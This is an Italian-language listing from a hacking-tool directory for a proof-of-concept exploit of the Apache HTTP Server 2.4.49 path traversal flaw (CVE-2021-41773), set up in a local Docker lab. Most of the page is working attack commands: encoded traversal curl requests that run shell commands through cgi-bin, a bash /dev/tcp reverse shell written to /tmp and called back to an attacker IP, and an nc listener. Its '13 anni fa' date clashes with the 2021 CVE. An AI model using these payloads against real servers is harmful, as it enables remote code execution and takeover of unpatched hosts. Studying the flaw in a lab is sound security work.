Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-41773m — Proof-of-concept exploit per la vulnerabilità di path traversal in Apache HTTP Server 2.4.49 (CVE-2021-41773) con esecuzione di codice remoto e dimostrazione di reverse shell. | Kitploit
Strumenti/GitHubGitHub/mightysai1997/cve-2021-41773m
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneStrumento di Accesso Remoto
GitHubmightysai1997/cve-2021-41773m

CVE-2021-41773m

Proof-of-concept exploit per la vulnerabilità di path traversal in Apache HTTP Server 2.4.49 (CVE-2021-41773) con esecuzione di codice remoto e dimostrazione di reverse shell.

Vedi Repository
13 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-41773

🐛 Vulnerabilità di path traversal e divulgazione di file in Apache HTTP Server 2.4.49

È stato riscontrato un difetto in una modifica apportata alla normalizzazione dei percorsi in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli URL a file al di fuori delle directory configurate da direttive simili ad Alias.

Se i file al di fuori di queste directory non sono protetti dalla configurazione predefinita usuale "require all denied", queste richieste possono avere successo. Se gli script CGI sono anche abilitati per questi percorsi alias, ciò potrebbe consentire l'esecuzione remota di codice.

È noto che questo problema viene sfruttato in rete.

Questo problema riguarda solo Apache 2.4.49 e non versioni precedenti.

fonte

Path Traversal

Panoramica

Un attacco di path traversal (noto anche come directory traversal) mira ad accedere a file e directory memorizzati al di fuori della cartella root del web. Manipolando variabili che fanno riferimento a file con sequenze di “dot-dot-slash (../)” e le loro variazioni o utilizzando percorsi assoluti, potrebbe essere possibile accedere a file e directory arbitrari sul filesystem, inclusi codice sorgente dell'applicazione, configurazioni e file critici di sistema. Va notato che l'accesso ai file è limitato dai controlli di accesso operativi del sistema (ad esempio nel caso di file bloccati o in uso sul sistema operativo Microsoft Windows).

Questo attacco è anche noto come “dot-dot-slash”, “directory traversal”, “directory climbing” e “backtracking”.

Proof Of Concept

Configura l'ambiente PoC

root@kitploit:~
$ docker-compose build
$ docker-compose up

Conferma che funzioni

root@kitploit:~
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>

Exploit

Vittima : localhost:1234
Attaccante : 192.168.1.12

Secondo la documentazione, si tratta di un difetto che consente di eseguire codice in remoto (RCE).
Possiamo sfruttarlo eseguendo un curl con la cartella cgi-bin.

root@kitploit:~
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
  • 1. RCE
    Vediamo se possiamo effettivamente eseguire comandi, ad esempio id :

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
    uid=1(daemon) gid=1(daemon) groups=1(daemon)
    
  • 2. Reverse shell
    Testiamo una reverse shell creando un file bash sul server vittima.
    Prendiamo come esempio la reverse shell in bash trovata nel repository PayloadsAllTheThings.

    Ecco un esempio :
    bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

    Creiamo il file vuln.sh sulla macchina vittima nella cartella /tmp/ !
    Questo file conterrà la nostra reverse shell che potremo eseguire in remoto. Si collegherà alla nostra macchina locale sulla porta 44.

    root@kitploit:~
    $  curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
    

    Puoi controllare il contenuto del file con il comando cat

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
    #!/bin/bash
    bash -i >& /dev/tcp/192.168.1.12/44 0>&1
    
  • 3. Listener con ncat
    Creiamo il listener sulla macchina locale.

    root@kitploit:~
    $ nc -lvnp 44
    

    Non resta che eseguire il file remoto.

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
    text/plain; echo; bash /tmp/vuln.sh'
    

    Risposta :

    root@kitploit:~
    Ncat: Version 7.91 ( https://nmap.org/ncat )
    Ncat: Listening on :::44
    Ncat: Listening on 0.0.0.0:44
    Ncat: Connection from 172.19.32.1.
    Ncat: Connection from 172.19.32.1:58963.
    

Riferimenti

  • https://httpd.apache.org/security/vulnerabilities_24.html
  • https://github.com/apache/httpd/commit/98246aa96079dad5f7b20521bbc0142a04f1c5e7
Scarica lo strumento